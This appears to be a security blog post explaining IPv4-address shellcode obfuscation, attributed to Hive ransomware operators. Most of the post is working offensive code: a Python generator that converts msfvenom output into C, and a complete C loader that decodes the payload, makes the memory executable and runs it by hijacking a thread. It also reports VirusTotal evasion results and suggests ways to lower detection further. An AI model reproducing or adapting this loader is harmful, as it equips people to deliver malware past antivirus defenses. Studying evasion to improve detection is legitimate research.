IPv4 Obfuscation of Shellcode: A Technique Used by Groups like Hive

Feb. 17, 2025

Groups such as Hive ransomware operators have leveraged novel techniques to obfuscate their malicious payloads. One such technique involves encoding shellcode as IPv4 addresses, making detection and analysis more challenging. This blog post explores the concept of IPv4 shellcode obfuscation, its use by threat actors like Hive, and walks through the development of a tool that implements this technique.


What is Shellcode Obfuscation?

Shellcode obfuscation refers to techniques that disguise shellcode to evade detection by security tools. IPv4 obfuscation is a clever method where raw shellcode bytes are encoded into IPv4 addresses, taking advantage of their common and seemingly benign nature.

For example, a shellcode byte sequence such as:

fc4883e4f0e8c0000000415141505256...

can be split into groups of four bytes and represented as:

252.72.131.228, 240.232.192.0, 65.81.65.80...

This transformation helps threat actors hide malicious payloads in plain sight.

Hive Ransomware’s Use of IPv4 Obfuscation

Hive ransomware has demonstrated the use of IPv4 obfuscation for shellcode as part of its defense evasion arsenal. This technique allows Hive operators to:

  • Avoid signature-based detection tools.
  • Store and transmit malicious payloads in unsuspecting formats.

Developing the IPv4 Obfuscation Tool

Python Code for IPv4 Obfuscation

For ease, wrote a Python script, ipv4.py, that takes hex input from msfvenom and pads if necessary then outputs example C code that deobfuscates the IPv4 addresses back to shellcode and executes it via local thread hijacking:

import socket
import struct
import argparse
import sys
import os

def generate_ipv4(a, b, c, d):
    return f"{a}.{b}.{c}.{d}"

def pad_shellcode(shellcode_bytes):
    while len(shellcode_bytes) % 4 != 0:
        # NOP padding
        shellcode_bytes += b'\x90' 
    return shellcode_bytes

def generate_ipv4_output(shellcode_bytes):
    ipv4_array = []
    for i in range(0, len(shellcode_bytes), 4):
        a, b, c, d = struct.unpack('<BBBB', shellcode_bytes[i:i+4])
        ipv4_array.append(generate_ipv4(a, b, c, d))
    return ipv4_array

def main():
    parser = argparse.ArgumentParser(description="MSFVenom IPv4 Obfuscation Tool")
    parser.add_argument("-o", "--output", help="Output C source file for IPv4 array and deobfuscation", required=True)
    args = parser.parse_args()

    shellcode_hex = sys.stdin.read().strip()
    shellcode_bytes = bytes.fromhex(shellcode_hex)
    shellcode_bytes = pad_shellcode(shellcode_bytes)

    ipv4_array = generate_ipv4_output(shellcode_bytes)

   
    with open(args.output, "w") as f:
        f.write("#define _WIN32_WINNT 0x0600\n")
        f.write("#include <winsock2.h>\n#include <windows.h>\n#include <ws2tcpip.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n")
        f.write(f"char* Ipv4Array[] = {{\n")
        for i, ip in enumerate(ipv4_array):
            f.write(f"    \"{ip}\"{',' if i < len(ipv4_array) - 1 else ''}\n")
        f.write("};\n\n#define NumberOfElements " + str(len(ipv4_array)) + "\n\n")
        f.write(open('deobfuscation_template.c').read())

Full source code can be found within here.

For example, piping in MSFVenom hex for calc.exe

$ msfvenom -p windows/x64/exec CMD="calc.exe" -f hex | python ipv4.py -o calc.c
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 276 bytes
Final size of hex file: 552 bytes
$ cat calc.c
#define _WIN32_WINNT 0x0600
#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char* Ipv4Array[] = {
    "252.72.131.228",
    "240.232.192.0",
    "0.0.65.81",
    "65.80.82.81",
    "86.72.49.210",
    "101.72.139.82",
    "96.72.139.82",
    "24.72.139.82",
    "32.72.139.114",
    "80.72.15.183",
    "74.74.77.49",
    "201.72.49.192",
    "172.60.97.124",
    "2.44.32.65",
    "193.201.13.65",
    "1.193.226.237",
    "82.65.81.72",
    "139.82.32.139",
    "66.60.72.1",
    "208.139.128.136",
    "0.0.0.72",
    "133.192.116.103",
    "72.1.208.80",
    "139.72.24.68",
    "139.64.32.73",
    "1.208.227.86",
    "72.255.201.65",
    "139.52.136.72",
    "1.214.77.49",
    "201.72.49.192",
    "172.65.193.201",
    "13.65.1.193",
    "56.224.117.241",
    "76.3.76.36",
    "8.69.57.209",
    "117.216.88.68",
    "139.64.36.73",
    "1.208.102.65",
    "139.12.72.68",
    "139.64.28.73",
    "1.208.65.139",
    "4.136.72.1",
    "208.65.88.65",
    "88.94.89.90",
    "65.88.65.89",
    "65.90.72.131",
    "236.32.65.82",
    "255.224.88.65",
    "89.90.72.139",
    "18.233.87.255",
    "255.255.93.72",
    "186.1.0.0",
    "0.0.0.0",
    "0.72.141.141",
    "1.1.0.0",
    "65.186.49.139",
    "111.135.255.213",
    "187.240.181.162",
    "86.65.186.166",
    "149.189.157.255",
    "213.72.131.196",
    "40.60.6.124",
    "10.128.251.224",
    "117.5.187.71",
    "19.114.111.106",
    "0.89.65.137",
    "218.255.213.99",
    "97.108.99.46",
    "101.120.101.0"
};

#define NumberOfElements 69


typedef NTSTATUS (NTAPI* fnRtlIpv4StringToAddressA)(
    PCSTR S,
    BOOLEAN Strict,
    PCSTR* Terminator,
    PVOID Addr
);

VOID DummyFunction() {
    int j = rand();
    int i = j*j;
}


BOOL Ipv4Deobfuscation(IN CHAR* Ipv4Array[], IN SIZE_T NmbrOfElements, OUT PBYTE* ppDAddress, OUT SIZE_T* pDSize) {

	PBYTE		pBuffer			= NULL, 
			TmpBuffer		= NULL;

	SIZE_T		sBuffSize		= 0;

	PCSTR		Terminator		= NULL;

	NTSTATUS	STATUS;

	// Getting RtlIpv4StringToAddressA address from ntdll.dll
	fnRtlIpv4StringToAddressA pRtlIpv4StringToAddressA = (fnRtlIpv4StringToAddressA)GetProcAddress(GetModuleHandle(TEXT("NTDLL")), "RtlIpv4StringToAddressA");
	if (pRtlIpv4StringToAddressA == NULL){
		printf("[!] GetProcAddress Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	// Getting the real size of the shellcode which is the number of IPv4 addresses * 4
	sBuffSize = NmbrOfElements * 4;

	// Allocating memory which will hold the deobfuscated shellcode
	pBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), 0, sBuffSize);
	if (pBuffer == NULL){
		printf("[!] HeapAlloc Failed With Error : %d \n", GetLastError());
		return FALSE;
	}
	
	// Setting TmpBuffer to be equal to pBuffer
	TmpBuffer = pBuffer;

	// Loop through all the IPv4 addresses saved in Ipv4Array
	for (int i = 0; i < NmbrOfElements; i++) {

		// Deobfuscating one IPv4 address at a time
		// Ipv4Array[i] is a single ipv4 address from the array Ipv4Array
		if ((STATUS = pRtlIpv4StringToAddressA(Ipv4Array[i], FALSE, &Terminator, TmpBuffer)) != 0x0) {
			// if it failed
			printf("[!] RtlIpv4StringToAddressA Failed At [%s] With Error 0x%0.8X", Ipv4Array[i], STATUS);
			return FALSE;
		}

		// 4 bytes are written to TmpBuffer at a time
		// Therefore Tmpbuffer will be incremented by 4 to store the upcoming 4 bytes
		TmpBuffer = (PBYTE)(TmpBuffer + 4);

	}

	// Save the base address & size of the deobfuscated payload
	*ppDAddress		= pBuffer;
	*pDSize			= sBuffSize;

	return TRUE;
}

BOOL RunViaClassicThreadHijacking(IN HANDLE hThread, IN PBYTE pPayload, IN SIZE_T sPayloadSize) {
	
	PVOID    pAddress         = NULL;
	DWORD    dwOldProtection  = NULL;
	CONTEXT  ThreadCtx        = { 
		.ContextFlags = CONTEXT_CONTROL 
	};

    // Allocating memory for the payload
	pAddress = VirtualAlloc(NULL, sPayloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	if (pAddress == NULL){
		printf("[!] VirtualAlloc Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	// Copying the payload to the allocated memory
	memcpy(pAddress, pPayload, sPayloadSize);

	// Changing the memory protection
	if (!VirtualProtect(pAddress, sPayloadSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
		printf("[!] VirtualProtect Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	// Getting the original thread context
	if (!GetThreadContext(hThread, &ThreadCtx)){
		printf("[!] GetThreadContext Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	// Updating the next instruction pointer to be equal to the payload's address 
	ThreadCtx.Rip = pAddress;

	// Updating the new thread context
	if (!SetThreadContext(hThread, &ThreadCtx)) {
		printf("[!] SetThreadContext Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	return TRUE;
}



int main() {
    PBYTE pDeobfuscatedPayload;
    SIZE_T sDeobfuscatedSize = 0;
    DWORD dwOldProtection = 0;

    if (!Ipv4Deobfuscation(Ipv4Array, NumberOfElements, &pDeobfuscatedPayload, &sDeobfuscatedSize)) {
        return -1;
    }

    printf("[+] Deobfuscated Bytes at 0x%p of Size %ld ::: \n", pDeobfuscatedPayload, sDeobfuscatedSize);
    for (size_t i = 0; i < sDeobfuscatedSize; i++){
	if (i % 16 == 0)
	    printf("\n\t");

	printf("%0.2X ", pDeobfuscatedPayload[i]);
    }

    printf("[+] DONE !\n");
    printf("[i] Deobfuscated Payload At : 0x%p Of Size : %d \n", pDeobfuscatedPayload, sDeobfuscatedSize);


    HANDLE hThread = NULL;
    
    // Creating sacrificial thread in suspended state 
    hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE) &DummyFunction, NULL, CREATE_SUSPENDED, NULL);
    if (hThread == NULL) {
    	printf("[!] CreateThread Failed With Error : %d \n", GetLastError());
    	return FALSE;
    }
    
    // Hijacking the sacrificial thread created
    if (!RunViaClassicThreadHijacking(hThread, pDeobfuscatedPayload, sDeobfuscatedSize)) {
    	return -1;
    }
    
    printf("Resuming Thread");
    // Resuming suspended thread, so that it runs our shellcode
    ResumeThread(hThread);
    
    printf("[#] Press <Enter> To Quit ... ");
    getchar();
    
    return 0;
}

Then compiling the C code via Visual Studio.


Proof of Concept IPv4 Deobufscation Calculator payload

Testing the effectiveness of this obfuscation, the generated exe was uploaded to VirusTotal and compared with an exe with no deobfuscation

ipv4calcVirusTotal

Which slightly beats out the basic thread hijacker with Calc PoC shellcode:

VisualStudioCalc

Conclusion

IPv4 shellcode obfuscation is an technique employed by threat actors like Hive ransomware operators to evade detection. By understanding and replicating such methods, can improve defenses and stay ahead of evolving threats.

Future Work

Highly likely the VirusTotal detection score for the IPv4 Deobfuscation PoC can be reduced even further with a more advanced shellcode runner.

There is also similar obfuscation ideas, using IPv6 format, UUID, MAC addresses. The proof of concept tool could be developed further to include these.

*Disclaimer: This tool and blog post are intended for educational and research purposes only.*

Return